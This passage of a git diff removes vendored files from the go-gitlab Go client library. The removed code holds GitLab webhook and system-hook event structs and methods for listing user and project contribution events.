- OldUsername string `json:"old_username,omitempty"` - Email string `json:"email"` -} - -// UserGroupSystemEvent represents a user group system event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/system_hooks/system_hooks.html -type UserGroupSystemEvent struct { - BaseSystemEvent - ID int `json:"user_id"` - Name string `json:"user_name"` - Username string `json:"user_username"` - Email string `json:"user_email"` - GroupID int `json:"group_id"` - GroupName string `json:"group_name"` - GroupPath string `json:"group_path"` - GroupAccess string `json:"group_access"` -} - -// UserTeamSystemEvent represents a user team system event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/system_hooks/system_hooks.html -type UserTeamSystemEvent struct { - BaseSystemEvent - ID int `json:"user_id"` - Name string `json:"user_name"` - Username string `json:"user_username"` - Email string `json:"user_email"` - ProjectID int `json:"project_id"` - ProjectName string `json:"project_name"` - ProjectPath string `json:"project_path"` - ProjectPathWithNamespace string `json:"project_path_with_namespace"` - ProjectVisibility string `json:"project_visibility"` - AccessLevel string `json:"access_level"` -} - -// PushSystemEvent represents a push system event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/system_hooks/system_hooks.html -type PushSystemEvent struct { - BaseSystemEvent -} - -// TagPushSystemEvent represents a tag push system event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/system_hooks/system_hooks.html -type TagPushSystemEvent struct { - BaseSystemEvent -} - -// RepositoryUpdateSystemEvent represents a repository updated system event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/system_hooks/system_hooks.html -type RepositoryUpdateSystemEvent struct { - BaseSystemEvent -} diff --git a/vendor/github.com/xanzy/go-gitlab/event_webhook_types.go b/vendor/github.com/xanzy/go-gitlab/event_webhook_types.go deleted file mode 100644 index d41379a4f3..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/event_webhook_types.go +++ /dev/null @@ -1,834 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "encoding/json" - "fmt" - "strconv" - "time" -) - -// PushEvent represents a push event. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/user/project/integrations/webhooks.html#push-events -type PushEvent struct { - ObjectKind string `json:"object_kind"` - Before string `json:"before"` - After string `json:"after"` - Ref string `json:"ref"` - CheckoutSHA string `json:"checkout_sha"` - UserID int `json:"user_id"` - UserName string `json:"user_name"` - UserUsername string `json:"user_username"` - UserEmail string `json:"user_email"` - UserAvatar string `json:"user_avatar"` - ProjectID int `json:"project_id"` - Project struct { - Name string `json:"name"` - Description string `json:"description"` - AvatarURL string `json:"avatar_url"` - GitSSHURL string `json:"git_ssh_url"` - GitHTTPURL string `json:"git_http_url"` - Namespace string `json:"namespace"` - PathWithNamespace string `json:"path_with_namespace"` - DefaultBranch string `json:"default_branch"` - Homepage string `json:"homepage"` - URL string `json:"url"` - SSHURL string `json:"ssh_url"` - HTTPURL string `json:"http_url"` - WebURL string `json:"web_url"` - Visibility VisibilityValue `json:"visibility"` - } `json:"project"` - Repository *Repository `json:"repository"` - Commits []*struct { - ID string `json:"id"` - Message string `json:"message"` - Timestamp *time.Time `json:"timestamp"` - URL string `json:"url"` - Author struct { - Name string `json:"name"` - Email string `json:"email"` - } `json:"author"` - Added []string `json:"added"` - Modified []string `json:"modified"` - Removed []string `json:"removed"` - } `json:"commits"` - TotalCommitsCount int `json:"total_commits_count"` -} - -// TagEvent represents a tag event. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/user/project/integrations/webhooks.html#tag-events -type TagEvent struct { - ObjectKind string `json:"object_kind"` - Before string `json:"before"` - After string `json:"after"` - Ref string `json:"ref"` - CheckoutSHA string `json:"checkout_sha"` - UserID int `json:"user_id"` - UserName string `json:"user_name"` - UserAvatar string `json:"user_avatar"` - UserEmail string `json:"user_email"` - ProjectID int `json:"project_id"` - Message string `json:"message"` - Project struct { - Name string `json:"name"` - Description string `json:"description"` - AvatarURL string `json:"avatar_url"` - GitSSHURL string `json:"git_ssh_url"` - GitHTTPURL string `json:"git_http_url"` - Namespace string `json:"namespace"` - PathWithNamespace string `json:"path_with_namespace"` - DefaultBranch string `json:"default_branch"` - Homepage string `json:"homepage"` - URL string `json:"url"` - SSHURL string `json:"ssh_url"` - HTTPURL string `json:"http_url"` - WebURL string `json:"web_url"` - Visibility VisibilityValue `json:"visibility"` - } `json:"project"` - Repository *Repository `json:"repository"` - Commits []*struct { - ID string `json:"id"` - Message string `json:"message"` - Timestamp *time.Time `json:"timestamp"` - URL string `json:"url"` - Author struct { - Name string `json:"name"` - Email string `json:"email"` - } `json:"author"` - Added []string `json:"added"` - Modified []string `json:"modified"` - Removed []string `json:"removed"` - } `json:"commits"` - TotalCommitsCount int `json:"total_commits_count"` -} - -// IssueEvent represents a issue event. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/user/project/integrations/webhooks.html#issues-events -type IssueEvent struct { - ObjectKind string `json:"object_kind"` - User *User `json:"user"` - Project struct { - ID int `json:"id"` - Name string `json:"name"` - Description string `json:"description"` - AvatarURL string `json:"avatar_url"` - GitSSHURL string `json:"git_ssh_url"` - GitHTTPURL string `json:"git_http_url"` - Namespace string `json:"namespace"` - PathWithNamespace string `json:"path_with_namespace"` - DefaultBranch string `json:"default_branch"` - Homepage string `json:"homepage"` - URL string `json:"url"` - SSHURL string `json:"ssh_url"` - HTTPURL string `json:"http_url"` - WebURL string `json:"web_url"` - Visibility VisibilityValue `json:"visibility"` - } `json:"project"` - Repository *Repository `json:"repository"` - ObjectAttributes struct { - ID int `json:"id"` - Title string `json:"title"` - AssigneeID int `json:"assignee_id"` - AuthorID int `json:"author_id"` - ProjectID int `json:"project_id"` - CreatedAt string `json:"created_at"` // Should be *time.Time (see Gitlab issue #21468) - UpdatedAt string `json:"updated_at"` // Should be *time.Time (see Gitlab issue #21468) - Position int `json:"position"` - BranchName string `json:"branch_name"` - Description string `json:"description"` - MilestoneID int `json:"milestone_id"` - State string `json:"state"` - IID int `json:"iid"` - URL string `json:"url"` - Action string `json:"action"` - } `json:"object_attributes"` - Assignee struct { - Name string `json:"name"` - Username string `json:"username"` - AvatarURL string `json:"avatar_url"` - } `json:"assignee"` - Assignees []struct { - Name string `json:"name"` - Username string `json:"username"` - AvatarURL string `json:"avatar_url"` - } `json:"assignees"` - Labels []Label `json:"labels"` - Changes struct { - Labels struct { - Previous []Label `json:"previous"` - Current []Label `json:"current"` - } `json:"labels"` - UpdatedByID struct { - Previous int `json:"previous"` - Current int `json:"current"` - } `json:"updated_by_id"` - } `json:"changes"` -} - -// JobEvent represents a job event. -// -// GitLab API docs: -// TODO: link to docs instead of src once they are published. -// https://gitlab.com/gitlab-org/gitlab-ce/blob/master/lib/gitlab/data_builder/build.rb -type JobEvent struct { - ObjectKind string `json:"object_kind"` - Ref string `json:"ref"` - Tag bool `json:"tag"` - BeforeSHA string `json:"before_sha"` - SHA string `json:"sha"` - BuildID int `json:"build_id"` - BuildName string `json:"build_name"` - BuildStage string `json:"build_stage"` - BuildStatus string `json:"build_status"` - BuildStartedAt string `json:"build_started_at"` - BuildFinishedAt string `json:"build_finished_at"` - BuildDuration float64 `json:"build_duration"` - BuildAllowFailure bool `json:"build_allow_failure"` - PipelineID int `json:"pipeline_id"` - ProjectID int `json:"project_id"` - ProjectName string `json:"project_name"` - User struct { - ID int `json:"id"` - Name string `json:"name"` - Email string `json:"email"` - } `json:"user"` - Commit struct { - ID int `json:"id"` - SHA string `json:"sha"` - Message string `json:"message"` - AuthorName string `json:"author_name"` - AuthorEmail string `json:"author_email"` - AuthorURL string `json:"author_url"` - Status string `json:"status"` - Duration int `json:"duration"` - StartedAt string `json:"started_at"` - FinishedAt string `json:"finished_at"` - } `json:"commit"` - Repository *Repository `json:"repository"` -} - -// CommitCommentEvent represents a comment on a commit event. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/user/project/integrations/webhooks.html#comment-on-commit -type CommitCommentEvent struct { - ObjectKind string `json:"object_kind"` - User *User `json:"user"` - ProjectID int `json:"project_id"` - Project struct { - Name string `json:"name"` - Description string `json:"description"` - AvatarURL string `json:"avatar_url"` - GitSSHURL string `json:"git_ssh_url"` - GitHTTPURL string `json:"git_http_url"` - Namespace string `json:"namespace"` - PathWithNamespace string `json:"path_with_namespace"` - DefaultBranch string `json:"default_branch"` - Homepage string `json:"homepage"` - URL string `json:"url"` - SSHURL string `json:"ssh_url"` - HTTPURL string `json:"http_url"` - WebURL string `json:"web_url"` - Visibility VisibilityValue `json:"visibility"` - } `json:"project"` - Repository *Repository `json:"repository"` - ObjectAttributes struct { - ID int `json:"id"` - Note string `json:"note"` - NoteableType string `json:"noteable_type"` - AuthorID int `json:"author_id"` - CreatedAt string `json:"created_at"` - UpdatedAt string `json:"updated_at"` - ProjectID int `json:"project_id"` - Attachment string `json:"attachment"` - LineCode string `json:"line_code"` - CommitID string `json:"commit_id"` - NoteableID int `json:"noteable_id"` - System bool `json:"system"` - StDiff struct { - Diff string `json:"diff"` - NewPath string `json:"new_path"` - OldPath string `json:"old_path"` - AMode string `json:"a_mode"` - BMode string `json:"b_mode"` - NewFile bool `json:"new_file"` - RenamedFile bool `json:"renamed_file"` - DeletedFile bool `json:"deleted_file"` - } `json:"st_diff"` - } `json:"object_attributes"` - Commit *struct { - ID string `json:"id"` - Message string `json:"message"` - Timestamp *time.Time `json:"timestamp"` - URL string `json:"url"` - Author struct { - Name string `json:"name"` - Email string `json:"email"` - } `json:"author"` - } `json:"commit"` -} - -// MergeCommentEvent represents a comment on a merge event. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/user/project/integrations/webhooks.html#comment-on-merge-request -type MergeCommentEvent struct { - ObjectKind string `json:"object_kind"` - User *User `json:"user"` - ProjectID int `json:"project_id"` - Project struct { - Name string `json:"name"` - Description string `json:"description"` - AvatarURL string `json:"avatar_url"` - GitSSHURL string `json:"git_ssh_url"` - GitHTTPURL string `json:"git_http_url"` - Namespace string `json:"namespace"` - PathWithNamespace string `json:"path_with_namespace"` - DefaultBranch string `json:"default_branch"` - Homepage string `json:"homepage"` - URL string `json:"url"` - SSHURL string `json:"ssh_url"` - HTTPURL string `json:"http_url"` - WebURL string `json:"web_url"` - Visibility VisibilityValue `json:"visibility"` - } `json:"project"` - ObjectAttributes struct { - ID int `json:"id"` - DiscussionID string `json:"discussion_id"` - Note string `json:"note"` - NoteableType string `json:"noteable_type"` - AuthorID int `json:"author_id"` - CreatedAt string `json:"created_at"` - UpdatedAt string `json:"updated_at"` - ProjectID int `json:"project_id"` - Attachment string `json:"attachment"` - LineCode string `json:"line_code"` - CommitID string `json:"commit_id"` - NoteableID int `json:"noteable_id"` - System bool `json:"system"` - StDiff *Diff `json:"st_diff"` - URL string `json:"url"` - } `json:"object_attributes"` - Repository *Repository `json:"repository"` - MergeRequest struct { - ID int `json:"id"` - TargetBranch string `json:"target_branch"` - SourceBranch string `json:"source_branch"` - SourceProjectID int `json:"source_project_id"` - AuthorID int `json:"author_id"` - AssigneeID int `json:"assignee_id"` - AssigneeIDs []int `json:"assignee_ids"` - Title string `json:"title"` - CreatedAt string `json:"created_at"` - UpdatedAt string `json:"updated_at"` - MilestoneID int `json:"milestone_id"` - State string `json:"state"` - MergeStatus string `json:"merge_status"` - TargetProjectID int `json:"target_project_id"` - IID int `json:"iid"` - Description string `json:"description"` - Position int `json:"position"` - LockedAt string `json:"locked_at"` - UpdatedByID int `json:"updated_by_id"` - MergeError string `json:"merge_error"` - MergeParams *MergeParams `json:"merge_params"` - MergeWhenPipelineSucceeds bool `json:"merge_when_pipeline_succeeds"` - MergeUserID int `json:"merge_user_id"` - MergeCommitSHA string `json:"merge_commit_sha"` - DeletedAt string `json:"deleted_at"` - InProgressMergeCommitSHA string `json:"in_progress_merge_commit_sha"` - LockVersion int `json:"lock_version"` - ApprovalsBeforeMerge string `json:"approvals_before_merge"` - RebaseCommitSHA string `json:"rebase_commit_sha"` - TimeEstimate int `json:"time_estimate"` - Squash bool `json:"squash"` - LastEditedAt string `json:"last_edited_at"` - LastEditedByID int `json:"last_edited_by_id"` - Source *Repository `json:"source"` - Target *Repository `json:"target"` - LastCommit struct { - ID string `json:"id"` - Message string `json:"message"` - Timestamp *time.Time `json:"timestamp"` - URL string `json:"url"` - Author struct { - Name string `json:"name"` - Email string `json:"email"` - } `json:"author"` - } `json:"last_commit"` - WorkInProgress bool `json:"work_in_progress"` - TotalTimeSpent int `json:"total_time_spent"` - HeadPipelineID int `json:"head_pipeline_id"` - } `json:"merge_request"` -} - -// IssueCommentEvent represents a comment on an issue event. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/user/project/integrations/webhooks.html#comment-on-issue -type IssueCommentEvent struct { - ObjectKind string `json:"object_kind"` - User *User `json:"user"` - ProjectID int `json:"project_id"` - Project struct { - Name string `json:"name"` - Description string `json:"description"` - AvatarURL string `json:"avatar_url"` - GitSSHURL string `json:"git_ssh_url"` - GitHTTPURL string `json:"git_http_url"` - Namespace string `json:"namespace"` - PathWithNamespace string `json:"path_with_namespace"` - DefaultBranch string `json:"default_branch"` - Homepage string `json:"homepage"` - URL string `json:"url"` - SSHURL string `json:"ssh_url"` - HTTPURL string `json:"http_url"` - WebURL string `json:"web_url"` - Visibility VisibilityValue `json:"visibility"` - } `json:"project"` - Repository *Repository `json:"repository"` - ObjectAttributes struct { - ID int `json:"id"` - Note string `json:"note"` - NoteableType string `json:"noteable_type"` - AuthorID int `json:"author_id"` - CreatedAt string `json:"created_at"` - UpdatedAt string `json:"updated_at"` - ProjectID int `json:"project_id"` - Attachment string `json:"attachment"` - LineCode string `json:"line_code"` - CommitID string `json:"commit_id"` - NoteableID int `json:"noteable_id"` - System bool `json:"system"` - StDiff []*Diff `json:"st_diff"` - URL string `json:"url"` - } `json:"object_attributes"` - Issue struct { - ID int `json:"id"` - IID int `json:"iid"` - ProjectID int `json:"project_id"` - MilestoneID int `json:"milestone_id"` - AuthorID int `json:"author_id"` - Description string `json:"description"` - State string `json:"state"` - Title string `json:"title"` - LastEditedAt string `json:"last_edit_at"` - LastEditedByID int `json:"last_edited_by_id"` - UpdatedAt string `json:"updated_at"` - UpdatedByID int `json:"updated_by_id"` - CreatedAt string `json:"created_at"` - ClosedAt string `json:"closed_at"` - DueDate *ISOTime `json:"due_date"` - URL string `json:"url"` - TimeEstimate int `json:"time_estimate"` - Confidential bool `json:"confidential"` - TotalTimeSpent int `json:"total_time_spent"` - HumanTotalTimeSpent string `json:"human_total_time_spent"` - HumanTimeEstimate string `json:"human_time_estimate"` - AssigneeIDs []int `json:"assignee_ids"` - AssigneeID int `json:"assignee_id"` - } `json:"issue"` -} - -// SnippetCommentEvent represents a comment on a snippet event. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/user/project/integrations/webhooks.html#comment-on-code-snippet -type SnippetCommentEvent struct { - ObjectKind string `json:"object_kind"` - User *User `json:"user"` - ProjectID int `json:"project_id"` - Project struct { - Name string `json:"name"` - Description string `json:"description"` - AvatarURL string `json:"avatar_url"` - GitSSHURL string `json:"git_ssh_url"` - GitHTTPURL string `json:"git_http_url"` - Namespace string `json:"namespace"` - PathWithNamespace string `json:"path_with_namespace"` - DefaultBranch string `json:"default_branch"` - Homepage string `json:"homepage"` - URL string `json:"url"` - SSHURL string `json:"ssh_url"` - HTTPURL string `json:"http_url"` - WebURL string `json:"web_url"` - Visibility VisibilityValue `json:"visibility"` - } `json:"project"` - Repository *Repository `json:"repository"` - ObjectAttributes struct { - ID int `json:"id"` - Note string `json:"note"` - NoteableType string `json:"noteable_type"` - AuthorID int `json:"author_id"` - CreatedAt string `json:"created_at"` - UpdatedAt string `json:"updated_at"` - ProjectID int `json:"project_id"` - Attachment string `json:"attachment"` - LineCode string `json:"line_code"` - CommitID string `json:"commit_id"` - NoteableID int `json:"noteable_id"` - System bool `json:"system"` - StDiff *Diff `json:"st_diff"` - URL string `json:"url"` - } `json:"object_attributes"` - Snippet *Snippet `json:"snippet"` -} - -// MergeEvent represents a merge event. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/user/project/integrations/webhooks.html#merge-request-events -type MergeEvent struct { - ObjectKind string `json:"object_kind"` - User *User `json:"user"` - Project struct { - ID int `json:"id"` - Name string `json:"name"` - Description string `json:"description"` - AvatarURL string `json:"avatar_url"` - GitSSHURL string `json:"git_ssh_url"` - GitHTTPURL string `json:"git_http_url"` - Namespace string `json:"namespace"` - PathWithNamespace string `json:"path_with_namespace"` - DefaultBranch string `json:"default_branch"` - Homepage string `json:"homepage"` - URL string `json:"url"` - SSHURL string `json:"ssh_url"` - HTTPURL string `json:"http_url"` - WebURL string `json:"web_url"` - Visibility VisibilityValue `json:"visibility"` - } `json:"project"` - ObjectAttributes struct { - ID int `json:"id"` - TargetBranch string `json:"target_branch"` - SourceBranch string `json:"source_branch"` - SourceProjectID int `json:"source_project_id"` - AuthorID int `json:"author_id"` - AssigneeID int `json:"assignee_id"` - AssigneeIDs []int `json:"assignee_ids"` - Title string `json:"title"` - CreatedAt string `json:"created_at"` // Should be *time.Time (see Gitlab issue #21468) - UpdatedAt string `json:"updated_at"` // Should be *time.Time (see Gitlab issue #21468) - StCommits []*Commit `json:"st_commits"` - StDiffs []*Diff `json:"st_diffs"` - MilestoneID int `json:"milestone_id"` - State string `json:"state"` - MergeStatus string `json:"merge_status"` - TargetProjectID int `json:"target_project_id"` - IID int `json:"iid"` - Description string `json:"description"` - Position int `json:"position"` - LockedAt string `json:"locked_at"` - UpdatedByID int `json:"updated_by_id"` - MergeError string `json:"merge_error"` - MergeParams *MergeParams `json:"merge_params"` - MergeWhenBuildSucceeds bool `json:"merge_when_build_succeeds"` - MergeUserID int `json:"merge_user_id"` - MergeCommitSHA string `json:"merge_commit_sha"` - DeletedAt string `json:"deleted_at"` - ApprovalsBeforeMerge string `json:"approvals_before_merge"` - RebaseCommitSHA string `json:"rebase_commit_sha"` - InProgressMergeCommitSHA string `json:"in_progress_merge_commit_sha"` - LockVersion int `json:"lock_version"` - TimeEstimate int `json:"time_estimate"` - Source *Repository `json:"source"` - Target *Repository `json:"target"` - LastCommit struct { - ID string `json:"id"` - Message string `json:"message"` - Timestamp *time.Time `json:"timestamp"` - URL string `json:"url"` - Author struct { - Name string `json:"name"` - Email string `json:"email"` - } `json:"author"` - } `json:"last_commit"` - WorkInProgress bool `json:"work_in_progress"` - URL string `json:"url"` - Action string `json:"action"` - OldRev string `json:"oldrev"` - Assignee MergeAssignee `json:"assignee"` - } `json:"object_attributes"` - Repository *Repository `json:"repository"` - Assignee MergeAssignee `json:"assignee"` - Labels []Label `json:"labels"` - Changes struct { - Assignees struct { - Previous []MergeAssignee `json:"previous"` - Current []MergeAssignee `json:"current"` - } `json:"assignees"` - Description struct { - Previous string `json:"previous"` - Current string `json:"current"` - } `json:"description"` - Labels struct { - Previous []Label `json:"previous"` - Current []Label `json:"current"` - } `json:"labels"` - SourceBranch struct { - Previous string `json:"previous"` - Current string `json:"current"` - } `json:"source_branch"` - SourceProjectID struct { - Previous int `json:"previous"` - Current int `json:"current"` - } `json:"source_project_id"` - StateID struct { - Previous int `json:"previous"` - Current int `json:"current"` - } `json:"state_id"` - TargetBranch struct { - Previous string `json:"previous"` - Current string `json:"current"` - } `json:"target_branch"` - TargetProjectID struct { - Previous int `json:"previous"` - Current int `json:"current"` - } `json:"target_project_id"` - Title struct { - Previous string `json:"previous"` - Current string `json:"current"` - } `json:"title"` - UpdatedByID struct { - Previous int `json:"previous"` - Current int `json:"current"` - } `json:"updated_by_id"` - } `json:"changes"` -} - -// MergeAssignee represents a merge assignee. -type MergeAssignee struct { - Name string `json:"name"` - Username string `json:"username"` - AvatarURL string `json:"avatar_url"` -} - -// MergeParams represents the merge params. -type MergeParams struct { - ForceRemoveSourceBranch bool `json:"force_remove_source_branch"` -} - -// UnmarshalJSON decodes the merge parameters -// -// This allows support of ForceRemoveSourceBranch for both type bool (>11.9) and string (<11.9) -func (p *MergeParams) UnmarshalJSON(b []byte) error { - type Alias MergeParams - raw := struct { - *Alias - ForceRemoveSourceBranch interface{} `json:"force_remove_source_branch"` - }{ - Alias: (*Alias)(p), - } - - err := json.Unmarshal(b, &raw) - if err != nil { - return err - } - - switch v := raw.ForceRemoveSourceBranch.(type) { - case nil: - // No action needed. - case bool: - p.ForceRemoveSourceBranch = v - case string: - p.ForceRemoveSourceBranch, err = strconv.ParseBool(v) - if err != nil { - return err - } - default: - return fmt.Errorf("failed to unmarshal ForceRemoveSourceBranch of type: %T", v) - } - - return nil -} - -// WikiPageEvent represents a wiki page event. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/user/project/integrations/webhooks.html#wiki-page-events -type WikiPageEvent struct { - ObjectKind string `json:"object_kind"` - User *User `json:"user"` - Project struct { - Name string `json:"name"` - Description string `json:"description"` - AvatarURL string `json:"avatar_url"` - GitSSHURL string `json:"git_ssh_url"` - GitHTTPURL string `json:"git_http_url"` - Namespace string `json:"namespace"` - PathWithNamespace string `json:"path_with_namespace"` - DefaultBranch string `json:"default_branch"` - Homepage string `json:"homepage"` - URL string `json:"url"` - SSHURL string `json:"ssh_url"` - HTTPURL string `json:"http_url"` - WebURL string `json:"web_url"` - Visibility VisibilityValue `json:"visibility"` - } `json:"project"` - Wiki struct { - WebURL string `json:"web_url"` - GitSSHURL string `json:"git_ssh_url"` - GitHTTPURL string `json:"git_http_url"` - PathWithNamespace string `json:"path_with_namespace"` - DefaultBranch string `json:"default_branch"` - } `json:"wiki"` - ObjectAttributes struct { - Title string `json:"title"` - Content string `json:"content"` - Format string `json:"format"` - Message string `json:"message"` - Slug string `json:"slug"` - URL string `json:"url"` - Action string `json:"action"` - } `json:"object_attributes"` -} - -// PipelineEvent represents a pipeline event. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/user/project/integrations/webhooks.html#pipeline-events -type PipelineEvent struct { - ObjectKind string `json:"object_kind"` - ObjectAttributes struct { - ID int `json:"id"` - Ref string `json:"ref"` - Tag bool `json:"tag"` - SHA string `json:"sha"` - BeforeSHA string `json:"before_sha"` - Status string `json:"status"` - Stages []string `json:"stages"` - CreatedAt string `json:"created_at"` - FinishedAt string `json:"finished_at"` - Duration int `json:"duration"` - } `json:"object_attributes"` - MergeRequest struct { - ID int `json:"id"` - IID int `json:"iid"` - Title string `json:"title"` - SourceBranch string `json:"source_branch"` - SourceProjectID int `json:"source_project_id"` - TargetBranch string `json:"target_branch"` - TargetProjectID int `json:"target_project_id"` - State string `json:"state"` - MergeRequestStatus string `json:"merge_status"` - URL string `json:"url"` - } `json:"merge_request"` - User struct { - Name string `json:"name"` - Username string `json:"username"` - AvatarURL string `json:"avatar_url"` - } `json:"user"` - Project struct { - ID int `json:"id"` - Name string `json:"name"` - Description string `json:"description"` - AvatarURL string `json:"avatar_url"` - GitSSHURL string `json:"git_ssh_url"` - GitHTTPURL string `json:"git_http_url"` - Namespace string `json:"namespace"` - PathWithNamespace string `json:"path_with_namespace"` - DefaultBranch string `json:"default_branch"` - Homepage string `json:"homepage"` - URL string `json:"url"` - SSHURL string `json:"ssh_url"` - HTTPURL string `json:"http_url"` - WebURL string `json:"web_url"` - Visibility VisibilityValue `json:"visibility"` - } `json:"project"` - Commit struct { - ID string `json:"id"` - Message string `json:"message"` - Timestamp *time.Time `json:"timestamp"` - URL string `json:"url"` - Author struct { - Name string `json:"name"` - Email string `json:"email"` - } `json:"author"` - } `json:"commit"` - Builds []struct { - ID int `json:"id"` - Stage string `json:"stage"` - Name string `json:"name"` - Status string `json:"status"` - CreatedAt string `json:"created_at"` - StartedAt string `json:"started_at"` - FinishedAt string `json:"finished_at"` - When string `json:"when"` - Manual bool `json:"manual"` - User struct { - Name string `json:"name"` - Username string `json:"username"` - AvatarURL string `json:"avatar_url"` - } `json:"user"` - Runner struct { - ID int `json:"id"` - Description string `json:"description"` - Active bool `json:"active"` - IsShared bool `json:"is_shared"` - } `json:"runner"` - ArtifactsFile struct { - Filename string `json:"filename"` - Size int `json:"size"` - } `json:"artifacts_file"` - } `json:"builds"` -} - -//BuildEvent represents a build event -// -// GitLab API docs: -// https://docs.gitlab.com/ce/user/project/integrations/webhooks.html#build-events -type BuildEvent struct { - ObjectKind string `json:"object_kind"` - Ref string `json:"ref"` - Tag bool `json:"tag"` - BeforeSHA string `json:"before_sha"` - SHA string `json:"sha"` - BuildID int `json:"build_id"` - BuildName string `json:"build_name"` - BuildStage string `json:"build_stage"` - BuildStatus string `json:"build_status"` - BuildStartedAt string `json:"build_started_at"` - BuildFinishedAt string `json:"build_finished_at"` - BuildDuration float64 `json:"build_duration"` - BuildAllowFailure bool `json:"build_allow_failure"` - ProjectID int `json:"project_id"` - ProjectName string `json:"project_name"` - User struct { - ID int `json:"id"` - Name string `json:"name"` - Email string `json:"email"` - } `json:"user"` - Commit struct { - ID int `json:"id"` - SHA string `json:"sha"` - Message string `json:"message"` - AuthorName string `json:"author_name"` - AuthorEmail string `json:"author_email"` - Status string `json:"status"` - Duration int `json:"duration"` - StartedAt string `json:"started_at"` - FinishedAt string `json:"finished_at"` - } `json:"commit"` - Repository *Repository `json:"repository"` -} diff --git a/vendor/github.com/xanzy/go-gitlab/events.go b/vendor/github.com/xanzy/go-gitlab/events.go deleted file mode 100644 index ed11609385..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/events.go +++ /dev/null @@ -1,146 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// EventsService handles communication with the event related methods of -// the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/events.html -type EventsService struct { - client *Client -} - -// ContributionEvent represents a user's contribution -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/events.html#get-user-contribution-events -type ContributionEvent struct { - Title string `json:"title"` - ProjectID int `json:"project_id"` - ActionName string `json:"action_name"` - TargetID int `json:"target_id"` - TargetIID int `json:"target_iid"` - TargetType string `json:"target_type"` - AuthorID int `json:"author_id"` - TargetTitle string `json:"target_title"` - CreatedAt *time.Time `json:"created_at"` - PushData struct { - CommitCount int `json:"commit_count"` - Action string `json:"action"` - RefType string `json:"ref_type"` - CommitFrom string `json:"commit_from"` - CommitTo string `json:"commit_to"` - Ref string `json:"ref"` - CommitTitle string `json:"commit_title"` - } `json:"push_data"` - Note *Note `json:"note"` - Author struct { - Name string `json:"name"` - Username string `json:"username"` - ID int `json:"id"` - State string `json:"state"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` - } `json:"author"` - AuthorUsername string `json:"author_username"` -} - -// ListContributionEventsOptions represents the options for GetUserContributionEvents -// -// GitLap API docs: -// https://docs.gitlab.com/ce/api/events.html#get-user-contribution-events -type ListContributionEventsOptions struct { - ListOptions - Action *EventTypeValue `url:"action,omitempty" json:"action,omitempty"` - TargetType *EventTargetTypeValue `url:"target_type,omitempty" json:"target_type,omitempty"` - Before *ISOTime `url:"before,omitempty" json:"before,omitempty"` - After *ISOTime `url:"after,omitempty" json:"after,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` -} - -// ListUserContributionEvents retrieves user contribution events -// for the specified user, sorted from newest to oldest. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/events.html#get-user-contribution-events -func (s *UsersService) ListUserContributionEvents(uid interface{}, opt *ListContributionEventsOptions, options ...RequestOptionFunc) ([]*ContributionEvent, *Response, error) { - user, err := parseID(uid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("users/%s/events", user) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var cs []*ContributionEvent - resp, err := s.client.Do(req, &cs) - if err != nil { - return nil, resp, err - } - - return cs, resp, err -} - -// ListCurrentUserContributionEvents gets a list currently authenticated user's events -// -// GitLab API docs: https://docs.gitlab.com/ce/api/events.html#list-currently-authenticated-user-39-s-events -func (s *EventsService) ListCurrentUserContributionEvents(opt *ListContributionEventsOptions, options ...RequestOptionFunc) ([]*ContributionEvent, *Response, error) { - req, err := s.client.NewRequest("GET", "events", opt, options) - if err != nil { - return nil, nil, err - } - - var cs []*ContributionEvent - resp, err := s.client.Do(req, &cs) - if err != nil { - return nil, resp, err - } - - return cs, resp, err -} - -// ListProjectVisibleEvents gets a list of visible events for a particular project -// -// GitLab API docs: https://docs.gitlab.com/ee/api/events.html#list-a-project-s-visible-events -func (s *EventsService) ListProjectVisibleEvents(pid interface{}, opt *ListContributionEventsOptions, options ...RequestOptionFunc) ([]*ContributionEvent, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/events", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var cs []*ContributionEvent - resp, err := s.client.Do(req, &cs) - if err != nil { - return nil, resp, err - } - - return cs, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/feature_flags.go b/vendor/github.com/xanzy/go-gitlab/feature_flags.go deleted file mode 100644 index f5926c283e..0000000000 --- 